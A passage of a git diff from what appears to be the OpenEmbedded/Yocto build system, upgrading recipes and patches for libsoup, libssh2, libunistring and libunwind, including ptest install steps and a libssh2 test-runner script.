+do_compile_ptest() {
+ oe_runmake -C tests check-build
+}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ install -d ${D}${PTEST_PATH}/tools
+ for file in $(find tests/* -executable -type f); do
+ install -m 744 ${S}/${file} ${D}/${PTEST_PATH}/tests
+ done
+ for file in $(find tests/*.tests -type f); do
+ install -m 744 ${S}/${file} ${D}/${PTEST_PATH}/tests
+ done
+ for file in $(find tools/* -executable -type f); do
+ install -m 744 ${S}/${file} ${D}/${PTEST_PATH}/tools
+ done
+ # Overwrite libtool wrappers with real executables
+ for file in $(find tools/.libs/* -executable -type f); do
+ install -m 744 ${S}/${file} ${D}/${PTEST_PATH}/tools
+ done
+}
+
+FILES:${PN} = "${bindir} ${libdir}/${BPN}.so*"
+FILES:${PN}-dbg += "${libdir}/${PN}/tests/.debug/* ${libdir}/${PN}/tools/.debug"
+
+RDEPENDS:${PN}-ptest = "coreutils bash"
+
+PV = "2.5.3"
diff --git a/meta/recipes-support/libsoup/libsoup-2.4/0001-Do-not-enforce-no-introspection-when-cross-building.patch b/meta/recipes-support/libsoup/libsoup-2.4/0001-Do-not-enforce-no-introspection-when-cross-building.patch
deleted file mode 100644
index cd6de853e5..0000000000
--- a/meta/recipes-support/libsoup/libsoup-2.4/0001-Do-not-enforce-no-introspection-when-cross-building.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 85f7b74fc602214297928afe09347c31d696173d Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 15 Feb 2019 14:21:06 +0100
-Subject: [PATCH] Do not enforce no-introspection when cross-building
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-Signed-off-by: Alistair Francis <alistair@alistair23.me>
----
- meson.build | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/meson.build b/meson.build
-index 25887f9..6261a7c 100644
---- a/meson.build
-+++ b/meson.build
-@@ -281,7 +281,7 @@ enable_gnome = get_option('gnome') and host_machine.system() != 'windows'
- # FIXME: once we start to require meson 0.49.0+ and gnome-introspection 1.58.1+
- # the we can enable the introspection even for the static build. See
- # https://github.com/mesonbuild/meson/pull/4478.
--enable_introspection = get_option('introspection') and find_program('g-ir-scanner', required: false).found() and not meson.is_cross_build() and not is_static_library
-+enable_introspection = get_option('introspection') and find_program('g-ir-scanner', required: false).found() and not is_static_library
-
- ############
- # Vala API #
---
-2.20.1
-
diff --git a/meta/recipes-support/libsoup/libsoup-2.4_2.66.4.bb b/meta/recipes-support/libsoup/libsoup-2.4_2.66.4.bb
deleted file mode 100644
index 7f5f910d3d..0000000000
--- a/meta/recipes-support/libsoup/libsoup-2.4_2.66.4.bb
+++ /dev/null
@@ -1,42 +0,0 @@
-SUMMARY = "An HTTP library implementation in C"
-HOMEPAGE = "https://wiki.gnome.org/Projects/libsoup"
-BUGTRACKER = "https://bugzilla.gnome.org/"
-SECTION = "x11/gnome/libs"
-LICENSE = "LGPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2"
-
-DEPENDS = "glib-2.0 glib-2.0-native libxml2 sqlite3 intltool-native libpsl"
-
-SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
-
-SRC_URI = "${GNOME_MIRROR}/libsoup/${SHRT_VER}/libsoup-${PV}.tar.xz \
- file://0001-Do-not-enforce-no-introspection-when-cross-building.patch \
- "
-SRC_URI[md5sum] = "42016d80ecae4cf8eb416631049a273a"
-SRC_URI[sha256sum] = "8308984f1eee1c4f8c113a9c1763b2b22d981bd811b0cc82a9f3f1aa63228779"
-
-CVE_PRODUCT = "libsoup"
-
-S = "${WORKDIR}/libsoup-${PV}"
-
-inherit meson gettext pkgconfig upstream-version-is-even gobject-introspection gtk-doc
-
-# libsoup-gnome is entirely deprecated and just stubs in 2.42 onwards. Disable by default.
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[gnome] = "-Dgnome=true,-Dgnome=false"
-PACKAGECONFIG[gssapi] = "-Dgssapi=true,-Dgssapi=false,krb5"
-
-EXTRA_OEMESON_append = " -Dvapi=false"
-
-GTKDOC_MESON_OPTION = "gtk_doc"
-
-# When built without gnome support, libsoup-2.4 will contain only one shared lib
-# and will therefore become subject to renaming by debian.bbclass. Prevent
-# renaming in order to keep the package name consistent regardless of whether
-# gnome support is enabled or disabled.
-DEBIAN_NOAUTONAME_${PN} = "1"
-
-# glib-networking is needed for SSL, proxies, etc.
-RRECOMMENDS_${PN} = "glib-networking"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/libsoup/libsoup-2.4_2.74.2.bb b/meta/recipes-support/libsoup/libsoup-2.4_2.74.2.bb
new file mode 100644
index 0000000000..6ff393c9a3
--- /dev/null
+++ b/meta/recipes-support/libsoup/libsoup-2.4_2.74.2.bb
@@ -0,0 +1,46 @@
+SUMMARY = "An HTTP library implementation in C"
+DESCRIPTION = "libsoup is an HTTP client/server library for GNOME. It uses GObjects \
+and the glib main loop, to integrate well with GNOME applications."
+HOMEPAGE = "https://wiki.gnome.org/Projects/libsoup"
+BUGTRACKER = "https://bugzilla.gnome.org/"
+SECTION = "x11/gnome/libs"
+LICENSE = "LGPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2"
+
+DEPENDS = "glib-2.0 glib-2.0-native libxml2 sqlite3 libpsl"
+
+SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
+
+SRC_URI = "${GNOME_MIRROR}/libsoup/${SHRT_VER}/libsoup-${PV}.tar.xz"
+SRC_URI[sha256sum] = "f0a427656e5fe19e1df71c107e88dfa1b2e673c25c547b7823b6018b40d01159"
+
+CVE_PRODUCT = "libsoup"
+
+S = "${WORKDIR}/libsoup-${PV}"
+
+inherit meson gettext pkgconfig upstream-version-is-even gobject-introspection gtk-doc
+
+UPSTREAM_CHECK_REGEX = "libsoup-(?P<pver>2(\.(?!99)\d+)+)\.tar"
+
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+
+# libsoup-gnome is entirely deprecated and just stubs in 2.42 onwards. Disable by default.
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[gnome] = "-Dgnome=true,-Dgnome=false"
+PACKAGECONFIG[gssapi] = "-Dgssapi=enabled,-Dgssapi=disabled,krb5"
+
+EXTRA_OEMESON:append = " -Dvapi=disabled -Dtls_check=false"
+
+GTKDOC_MESON_OPTION = "gtk_doc"
+
+# When built without gnome support, libsoup-2.4 will contain only one shared lib
+# and will therefore become subject to renaming by debian.bbclass. Prevent
+# renaming in order to keep the package name consistent regardless of whether
+# gnome support is enabled or disabled.
+DEBIAN_NOAUTONAME:${PN} = "1"
+
+# glib-networking is needed for SSL, proxies, etc.
+RRECOMMENDS:${PN} = "glib-networking"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libsoup/libsoup_3.0.4.bb b/meta/recipes-support/libsoup/libsoup_3.0.4.bb
new file mode 100644
index 0000000000..775ab29ddd
--- /dev/null
+++ b/meta/recipes-support/libsoup/libsoup_3.0.4.bb
@@ -0,0 +1,44 @@
+SUMMARY = "An HTTP library implementation in C"
+DESCRIPTION = "libsoup is an HTTP client/server library for GNOME. It uses GObjects \
+and the glib main loop, to integrate well with GNOME applications."
+HOMEPAGE = "https://wiki.gnome.org/Projects/libsoup"
+BUGTRACKER = "https://bugzilla.gnome.org/"
+SECTION = "x11/gnome/libs"
+LICENSE = "LGPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2"
+
+DEPENDS = "glib-2.0 glib-2.0-native libxml2 sqlite3 libpsl nghttp2"
+
+SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
+
+SRC_URI = "${GNOME_MIRROR}/libsoup/${SHRT_VER}/libsoup-${PV}.tar.xz"
+SRC_URI[sha256sum] = "5bd38b5e091f707fd7fa3ed7c37aacca3f8e16c65787f1cc17dc38d1dcde567b"
+
+PROVIDES = "libsoup-3.0"
+CVE_PRODUCT = "libsoup"
+
+S = "${WORKDIR}/libsoup-${PV}"
+
+inherit meson gettext pkgconfig upstream-version-is-even gobject-introspection gtk-doc
+
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+
+# libsoup-gnome is entirely deprecated and just stubs in 2.42 onwards. Disable by default.
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[gssapi] = "-Dgssapi=enabled,-Dgssapi=disabled,krb5"
+
+EXTRA_OEMESON:append = " -Dvapi=disabled -Dtls_check=false"
+
+GTKDOC_MESON_OPTION = "gtk_doc"
+
+# When built without gnome support, libsoup will contain only one shared lib
+# and will therefore become subject to renaming by debian.bbclass. Prevent
+# renaming in order to keep the package name consistent regardless of whether
+# gnome support is enabled or disabled.
+DEBIAN_NOAUTONAME:${PN} = "1"
+
+# glib-networking is needed for SSL, proxies, etc.
+RRECOMMENDS:${PN} = "glib-networking"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libssh2/files/0001-Don-t-let-host-enviroment-to-decide-if-a-test-is-bui.patch b/meta/recipes-support/libssh2/files/0001-Don-t-let-host-enviroment-to-decide-if-a-test-is-bui.patch
new file mode 100644
index 0000000000..b1204e49eb
--- /dev/null
+++ b/meta/recipes-support/libssh2/files/0001-Don-t-let-host-enviroment-to-decide-if-a-test-is-bui.patch
@@ -0,0 +1,44 @@
+From f6abce5ba41a412a247250dcd80e387e53474466 Mon Sep 17 00:00:00 2001
+From: Your Name <you@example.com>
+Date: Mon, 28 Dec 2020 02:08:03 +0000
+Subject: [PATCH] Don't let host enviroment to decide if a test is build
+
+test ssh2.sh need sshd, for cross compile, we need it on target, so
+don't use SSHD on host to decide weither to build a test
+
+Upstream-Status: Inappropriate[oe specific]
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+
+---
+ tests/Makefile.am | 6 +-----
+ 1 file changed, 1 insertion(+), 5 deletions(-)
+
+diff --git a/tests/Makefile.am b/tests/Makefile.am
+index dc0922f..6cbc35d 100644
+--- a/tests/Makefile.am
++++ b/tests/Makefile.am
+@@ -1,16 +1,12 @@
+ AM_CPPFLAGS = -I$(top_srcdir)/src -I$(top_srcdir)/include -I$(top_builddir)/src
+ LDADD = ../src/libssh2.la
+
+-if SSHD
+ noinst_PROGRAMS = ssh2
+ ssh2_SOURCES = ssh2.c
+-endif
+
+ ctests = simple$(EXEEXT)
+ TESTS = $(ctests) mansyntax.sh
+-if SSHD
+ TESTS += ssh2.sh
+-endif
+ check_PROGRAMS = $(ctests)
+
+ TESTS_ENVIRONMENT = SSHD=$(SSHD) EXEEXT=$(EXEEXT)
+@@ -38,4 +34,4 @@ if OPENSSL
+ # EXTRA_DIST += test_public_key_auth_succeeds_with_correct_encrypted_ed25519_key.c
+ # EXTRA_DIST += test_public_key_auth_succeeds_with_correct_ed25519_key_from_mem.c
+ EXTRA_DIST += test_public_key_auth_succeeds_with_correct_rsa_openssh_key.c
+-endif
+\ No newline at end of file
++endif
diff --git a/meta/recipes-support/libssh2/files/run-ptest b/meta/recipes-support/libssh2/files/run-ptest
new file mode 100644
index 0000000000..9e2fce2d24
--- /dev/null
+++ b/meta/recipes-support/libssh2/files/run-ptest
@@ -0,0 +1,9 @@
+#!/bin/sh
+
+ptestdir=$(dirname "$(readlink -f "$0")")
+cd tests
+# omit ssh2.sh until https://github.com/libssh2/libssh2/issues/630 is fixed
+for test in simple mansyntax.sh
+do
+ ./../test-driver --test-name $test --log-file ../$test.log --trs-file ../$test.trs --color-tests no --enable-hard-errors yes --expect-failure no -- ./$test
+done
diff --git a/meta/recipes-support/libssh2/libssh2_1.10.0.bb b/meta/recipes-support/libssh2/libssh2_1.10.0.bb
new file mode 100644
index 0000000000..072d6819c0
--- /dev/null
+++ b/meta/recipes-support/libssh2/libssh2_1.10.0.bb
@@ -0,0 +1,50 @@
+SUMMARY = "A client-side C library implementing the SSH2 protocol"
+HOMEPAGE = "http://www.libssh2.org/"
+SECTION = "libs"
+
+DEPENDS = "zlib"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=3e089ad0cf27edf1e7f261dfcd06acc7"
+
+SRC_URI = "http://www.libssh2.org/download/${BP}.tar.gz \
+ file://run-ptest \
+ "
+
+SRC_URI:append:ptest = " file://0001-Don-t-let-host-enviroment-to-decide-if-a-test-is-bui.patch"
+
+SRC_URI[sha256sum] = "2d64e90f3ded394b91d3a2e774ca203a4179f69aebee03003e5a6fa621e41d51"
+
+inherit autotools pkgconfig ptest
+
+EXTRA_OECONF += "\
+ --with-libz \
+ --with-libz-prefix=${STAGING_LIBDIR} \
+ "
+
+# only one of openssl and gcrypt could be set
+PACKAGECONFIG ??= "openssl"
+PACKAGECONFIG[openssl] = "--with-crypto=openssl --with-libssl-prefix=${STAGING_LIBDIR}, , openssl"
+PACKAGECONFIG[gcrypt] = "--with-crypto=libgcrypt --with-libgcrypt-prefix=${STAGING_EXECPREFIXDIR}, , libgcrypt"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# required for ptest on documentation
+RDEPENDS:${PN}-ptest = "man-db openssh util-linux-col"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " locale-base-en-us"
+
+do_compile_ptest() {
+ sed -i "/\$(MAKE) \$(AM_MAKEFLAGS) check-TESTS/d" tests/Makefile
+ oe_runmake check
+}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ install -m 0755 ${S}/test-driver ${D}${PTEST_PATH}/
+ cp -rf ${B}/tests/.libs/* ${D}${PTEST_PATH}/tests/
+ cp -rf ${S}/tests/mansyntax.sh ${D}${PTEST_PATH}/tests/
+ cp -rf ${S}/tests/ssh2.sh ${D}${PTEST_PATH}/tests/
+ cp -rf ${S}/tests/etc ${D}${PTEST_PATH}/tests/
+ mkdir -p ${D}${PTEST_PATH}/docs
+ cp -r ${S}/docs/* ${D}${PTEST_PATH}/docs/
+}
diff --git a/meta/recipes-support/libunistring/libunistring/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-support/libunistring/libunistring/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index 2aeacb868e..0000000000
--- a/meta/recipes-support/libunistring/libunistring/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: libunistring-0.9.4/lib/Makefile.gnulib
-===================================================================
---- libunistring-0.9.4.orig/lib/Makefile.gnulib
-+++ libunistring-0.9.4/lib/Makefile.gnulib
-@@ -380,7 +380,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
diff --git a/meta/recipes-support/libunistring/libunistring/iconv-m4-remove-the-test-to-convert-euc-jp.patch b/meta/recipes-support/libunistring/libunistring/iconv-m4-remove-the-test-to-convert-euc-jp.patch
deleted file mode 100644
index 9e8ce2270d..0000000000
--- a/meta/recipes-support/libunistring/libunistring/iconv-m4-remove-the-test-to-convert-euc-jp.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From 30562065ba9e4c238e76100b5f9f0c5add0e635b Mon Sep 17 00:00:00 2001
-From: Jackie Huang <jackie.huang@windriver.com>
-Date: Tue, 5 Dec 2017 09:30:36 +0200
-Subject: [PATCH] remove the test to convert euc-jp
-
-Remove the test "Test against HP-UX 11.11 bug:
-No converter from EUC-JP to UTF-8 is provided"
-since we don't support HP-UX and if the euc-jp is not
-installed on the host, libunistring will be built without
-iconv support and will cause guild-native configure fail.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
----
----
- gnulib-m4/iconv.m4 | 23 -----------------------
- 1 file changed, 23 deletions(-)
-
-diff --git a/gnulib-m4/iconv.m4 b/gnulib-m4/iconv.m4
-index b33ecd0..73b6aa1 100644
---- a/gnulib-m4/iconv.m4
-+++ b/gnulib-m4/iconv.m4
-@@ -165,29 +165,6 @@ AC_DEFUN([AM_ICONV_LINK],
- }
- }
- #endif
-- /* Test against HP-UX 11.11 bug: No converter from EUC-JP to UTF-8 is
-- provided. */
-- {
-- /* Try standardized names. */
-- iconv_t cd1 = iconv_open ("UTF-8", "EUC-JP");
-- /* Try IRIX, OSF/1 names. */
-- iconv_t cd2 = iconv_open ("UTF-8", "eucJP");
-- /* Try AIX names. */
-- iconv_t cd3 = iconv_open ("UTF-8", "IBM-eucJP");
-- /* Try HP-UX names. */
-- iconv_t cd4 = iconv_open ("utf8", "eucJP");
-- if (cd1 == (iconv_t)(-1) && cd2 == (iconv_t)(-1)
-- && cd3 == (iconv_t)(-1) && cd4 == (iconv_t)(-1))
-- result |= 16;
-- if (cd1 != (iconv_t)(-1))
-- iconv_close (cd1);
-- if (cd2 != (iconv_t)(-1))
-- iconv_close (cd2);
-- if (cd3 != (iconv_t)(-1))
-- iconv_close (cd3);
-- if (cd4 != (iconv_t)(-1))
-- iconv_close (cd4);
-- }
- return result;
- ]])],
- [am_cv_func_iconv_works=yes], ,
---
-2.4.0
-
diff --git a/meta/recipes-support/libunistring/libunistring_0.9.10.bb b/meta/recipes-support/libunistring/libunistring_0.9.10.bb
deleted file mode 100644
index 97fac4ecfa..0000000000
--- a/meta/recipes-support/libunistring/libunistring_0.9.10.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "Library for manipulating C and Unicode strings"
-
-DESCRIPTION = "Text files are nowadays usually encoded in Unicode, and may\
- consist of very different scripts from Latin letters to Chinese Hanzi\
- with many kinds of special characters accents, right-to-left writing\
- marks, hyphens, Roman numbers, and much more. But the POSIX platform\
- APIs for text do not contain adequate functions for dealing with\
- particular properties of many Unicode characters. In fact, the POSIX\
- APIs for text have several assumptions at their base which don't hold\
- for Unicode text. This library provides functions for manipulating\
- Unicode strings and for manipulating C strings according to the Unicode\
- standard. This package contains documentation."
-
-HOMEPAGE = "http://www.gnu.org/software/libunistring/"
-SECTION = "devel"
-LICENSE = "LGPLv3+ | GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
- file://README;beginline=45;endline=65;md5=08287d16ba8d839faed8d2dc14d7d6a5 \
- file://doc/libunistring.texi;md5=287fa6075f78a3c85c1a52b0a92547cd \
- "
-
-SRC_URI = "${GNU_MIRROR}/libunistring/libunistring-${PV}.tar.gz \
- file://iconv-m4-remove-the-test-to-convert-euc-jp.patch \
- file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
-"
-SRC_URI[md5sum] = "0d3274e9838396b12200f8b54ddaf43b"
-SRC_URI[sha256sum] = "a82e5b333339a88ea4608e4635479a1cfb2e01aafb925e1290b65710d43f610b"
-
-inherit autotools texinfo
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libunistring/libunistring_1.0.bb b/meta/recipes-support/libunistring/libunistring_1.0.bb
new file mode 100644
index 0000000000..b6f5100ae8
--- /dev/null
+++ b/meta/recipes-support/libunistring/libunistring_1.0.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Library for manipulating C and Unicode strings"
+
+DESCRIPTION = "Text files are nowadays usually encoded in Unicode, and may\
+ consist of very different scripts from Latin letters to Chinese Hanzi\
+ with many kinds of special characters accents, right-to-left writing\
+ marks, hyphens, Roman numbers, and much more. But the POSIX platform\
+ APIs for text do not contain adequate functions for dealing with\
+ particular properties of many Unicode characters. In fact, the POSIX\
+ APIs for text have several assumptions at their base which don't hold\
+ for Unicode text. This library provides functions for manipulating\
+ Unicode strings and for manipulating C strings according to the Unicode\
+ standard. This package contains documentation."
+
+HOMEPAGE = "http://www.gnu.org/software/libunistring/"
+SECTION = "devel"
+LICENSE = "LGPL-3.0-or-later | GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
+ file://README;beginline=45;endline=65;md5=3a896a943b4da2c551e6be1af27eff8d \
+ file://doc/libunistring.texi;md5=266e4297d7c18f197be3d9622ba99685 \
+ "
+DEPENDS = "gperf-native"
+
+SRC_URI = "${GNU_MIRROR}/libunistring/libunistring-${PV}.tar.gz"
+SRC_URI[sha256sum] = "3c0184c0e492d7c208ce31d25dd1d2c58f0c3ed6cbbe032c5b248cddad318544"
+
+inherit autotools texinfo
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libunwind/libunwind.inc b/meta/recipes-support/libunwind/libunwind.inc
index 76a1bf6246..bf74f9fa3c 100644
--- a/meta/recipes-support/libunwind/libunwind.inc
+++ b/meta/recipes-support/libunwind/libunwind.inc
@@ -4,6 +4,7 @@ HOMEPAGE = "http://www.nongnu.org/libunwind"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=2d80c8ed4062b8339b715f90fa68cc9f"
DEPENDS += "libatomic-ops"
+DEPENDS:append:libc-musl = " libucontext"
inherit autotools multilib_header
@@ -11,11 +12,11 @@ PACKAGECONFIG ??= ""
PACKAGECONFIG[lzma] = "--enable-minidebuginfo,--disable-minidebuginfo,xz"
PACKAGECONFIG[latexdocs] = "--enable-documentation, --disable-documentation, latex2man-native"
-EXTRA_OECONF_arm = "--enable-debug-frame"
-EXTRA_OECONF_armeb = "--enable-debug-frame"
-EXTRA_OECONF_aarch64 = "--enable-debug-frame"
+EXTRA_OECONF:arm = "--enable-debug-frame"
+EXTRA_OECONF:armeb = "--enable-debug-frame"
+EXTRA_OECONF:aarch64 = "--enable-debug-frame"
-do_install_append () {
+do_install:append () {
oe_multilib_header libunwind.h
}
diff --git a/meta/recipes-support/libunwind/libunwind/0001-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch b/meta/recipes-support/libunwind/libunwind/0001-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch
deleted file mode 100644
index 437b878365..0000000000
--- a/meta/recipes-support/libunwind/libunwind/0001-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From 599f10ac3a24e419a93f97fddbe14de01b1185ea Mon Sep 17 00:00:00 2001
-From: Thomas Petazzoni <thomas.petazzoni@free-electrons.com>
-Date: Tue, 13 May 2014 23:32:27 +0200
-Subject: [PATCH 1/6] Add AO_REQUIRE_CAS to fix build on ARM < v6
-
-ARM earlier than ARMv6, such as ARMv4 and ARMv5 do not provide
-optimize atomic operations in libatomic_ops. Since libunwind is using
-such operations, it should define AO_REQUIRE_CAS before including
-<atomic_ops.h> so that libatomic_ops knows it should use emulated
-atomic operations instead (even though they are obviously a lot more
-expensive).
-
-Also, while real atomic operations are all inline functions and
-therefore linking against libatomic_ops was not required, the emulated
-atomic operations actually require linking against libatomic_ops, so
-the commented AC_CHECK_LIB test in acinclude.m4 is uncommented to make
-sure we link against libatomic_ops.
-
-Signed-off-by: Thomas Petazzoni <thomas.petazzoni@free-electrons.com>
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
-Upstream-Status: Pending
-Taken from:
-https://raw.githubusercontent.com/rdnetto/teapot-buildroot/master/package/libunwind/libunwind-02-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch
-
----
- acinclude.m4 | 8 +-------
- include/libunwind_i.h | 1 +
- 2 files changed, 2 insertions(+), 7 deletions(-)
-
-diff --git a/acinclude.m4 b/acinclude.m4
-index 497f7c2..9c15af1 100644
---- a/acinclude.m4
-+++ b/acinclude.m4
-@@ -22,11 +22,5 @@ fi])
- AC_DEFUN([CHECK_ATOMIC_OPS],
- [dnl Check whether the system has the atomic_ops package installed.
- AC_CHECK_HEADERS(atomic_ops.h)
--#
--# Don't link against libatomic_ops for now. We don't want libunwind
--# to depend on libatomic_ops.so. Fortunately, none of the platforms
--# we care about so far need libatomic_ops.a (everything is done via
--# inline macros).
--#
--# AC_CHECK_LIB(atomic_ops, main)
-+ AC_CHECK_LIB(atomic_ops, main)
- ])
-diff --git a/include/libunwind_i.h b/include/libunwind_i.h
-index 36cf7a1..33b4ca3 100644
---- a/include/libunwind_i.h
-+++ b/include/libunwind_i.h
-@@ -124,6 +124,7 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
- (pthread_mutex_unlock != NULL ? pthread_mutex_unlock (l) : 0)
-
- #ifdef HAVE_ATOMIC_OPS_H
-+# define AO_REQUIRE_CAS
- # include <atomic_ops.h>
- static inline int
- cmpxchg_ptr (void *addr, void *old, void *new)
---
-2.20.1
-
diff --git a/meta/recipes-support/libunwind/libunwind/0002-backtrace-Use-only-with-glibc-and-uclibc.patch b/meta/recipes-support/libunwind/libunwind/0002-backtrace-Use-only-with-glibc-and-uclibc.patch
deleted file mode 100644
index 1b862dccb1..0000000000
--- a/meta/recipes-support/libunwind/libunwind/0002-backtrace-Use-only-with-glibc-and-uclibc.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From b61446add7ae1c041266c2fa5ba2f51cb3b65d35 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 31 Dec 2015 06:44:07 +0000
-Subject: [PATCH 2/6] backtrace: Use only with glibc and uclibc
-
-backtrace API is glibc specific not linux specific
-so make it behave so.
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- tests/test-coredump-unwind.c | 4 +++-
- 1 file changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/tests/test-coredump-unwind.c b/tests/test-coredump-unwind.c
-index 5349823..3b153cb 100644
---- a/tests/test-coredump-unwind.c
-+++ b/tests/test-coredump-unwind.c
-@@ -57,7 +57,9 @@
- #include <grp.h>
-
- /* For SIGSEGV handler code */
-+#ifdef __GLIBC__
- #include <execinfo.h>
-+#endif
- #include <sys/ucontext.h>
-
- #include <libunwind-coredump.h>
-@@ -238,11 +240,11 @@ void handle_sigsegv(int sig, siginfo_t *info, void *ucontext)
- ip);
-
- {
-+#ifdef __GLIBC__
- /* glibc extension */
- void *array[50];
- int size;
- size = backtrace(array, 50);
--#ifdef __linux__
- backtrace_symbols_fd(array, size, 2);
- #endif
- }
---
-2.20.1
-
diff --git a/meta/recipes-support/libunwind/libunwind/0003-x86-Stub-out-x86_local_resume.patch b/meta/recipes-support/libunwind/libunwind/0003-x86-Stub-out-x86_local_resume.patch
index 508ed6af38..f02f13f79c 100644
--- a/meta/recipes-support/libunwind/libunwind/0003-x86-Stub-out-x86_local_resume.patch
+++ b/meta/recipes-support/libunwind/libunwind/0003-x86-Stub-out-x86_local_resume.patch
@@ -1,7 +1,7 @@
-From f6866b9e4a6341c50eb1d923dbf48eca2ca40140 Mon Sep 17 00:00:00 2001
+From 0b2243f19d4ea12a2a68478a5aed503947a800af Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Tue, 22 Mar 2016 16:19:29 +0000
-Subject: [PATCH 3/6] x86: Stub out x86_local_resume()
+Subject: [PATCH] x86: Stub out x86_local_resume()
its purpose seems
to be unwinding across signal handler boundaries, which cannot happen
@@ -13,14 +13,14 @@ Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
- src/x86/Gos-linux.c | 22 +---------------------
- 1 file changed, 1 insertion(+), 21 deletions(-)
+ src/x86/Gos-linux.c | 26 +-------------------------
+ 1 file changed, 1 insertion(+), 25 deletions(-)
diff --git a/src/x86/Gos-linux.c b/src/x86/Gos-linux.c
-index fb9a5e3..c25ae0c 100644
+index d448dce..c25ae0c 100644
--- a/src/x86/Gos-linux.c
+++ b/src/x86/Gos-linux.c
-@@ -284,27 +284,7 @@ x86_r_uc_addr (ucontext_t *uc, int reg)
+@@ -284,31 +284,7 @@ x86_r_uc_addr (ucontext_t *uc, int reg)
HIDDEN int
x86_local_resume (unw_addr_space_t as, unw_cursor_t *cursor, void *arg)
{
@@ -38,17 +38,18 @@ index fb9a5e3..c25ae0c 100644
- struct sigcontext *sc = (struct sigcontext *) c->sigcontext_addr;
-
- Debug (8, "resuming at ip=%x via sigreturn(%p)\n", c->dwarf.ip, sc);
+-#if !defined(__ANDROID__)
- x86_sigreturn (sc);
+-#endif
- }
- else
- {
- Debug (8, "resuming at ip=%x via setcontext()\n", c->dwarf.ip);
+-#if !defined(__ANDROID__)
- setcontext (uc);
+-#endif
- }
+ *(volatile char *)0=0;
return -UNW_EINVAL;
}
---
-2.20.1
-
diff --git a/meta/recipes-support/libunwind/libunwind/0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch b/meta/recipes-support/libunwind/libunwind/0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch
